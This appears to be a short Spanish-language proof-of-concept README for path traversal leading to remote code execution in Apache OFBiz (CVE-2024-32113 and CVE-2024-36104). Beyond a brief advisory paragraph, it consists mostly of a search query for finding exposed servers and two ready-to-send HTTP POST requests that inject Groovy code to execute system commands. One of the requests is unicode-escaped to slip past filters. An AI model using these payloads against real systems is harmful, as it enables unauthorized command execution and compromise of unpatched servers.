mr-xn/cve-2024-32113Apache OFBIZ Path traversal que conduce a RCE POC [CVE-2024-32113 y CVE-2024-36104]
Vulnerabilidad de Apache OFBiz de Path traversal que conduce a RCE EXP.
Limitación incorrecta de un nombre de ruta a un directorio restringido (vulnerabilidad de 'Path Traversal') en Apache OFBiz. Este problema afecta a Apache OFBiz: antes de 18.12.14[no incluido]. Se recomienda a los usuarios actualizar a la versión 18.12.14, que soluciona el problema.
app="Apache_OFBiz"
POST /webtools/control/forgotPassword;/ProgramExport HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: 127.0.0.1:8443
groovyProgram=throw+new+Exception('id'.execute().text);
ejecutar
idcon unicode.
POST /webtools/control/forgotPassword;/ProgramExport HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: 127.0.0.1:8443
groovyProgram=\u0074\u0068\u0072\u006f\u0077\u0020\u006e\u0065\u0077\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0028\u0027\u0069\u0064\u0027\u002e\u0065\u0078\u0065\u0063\u0075\u0074\u0065\u0028\u0029\u002e\u0074\u0065\u0078\u0074\u0029\u003b
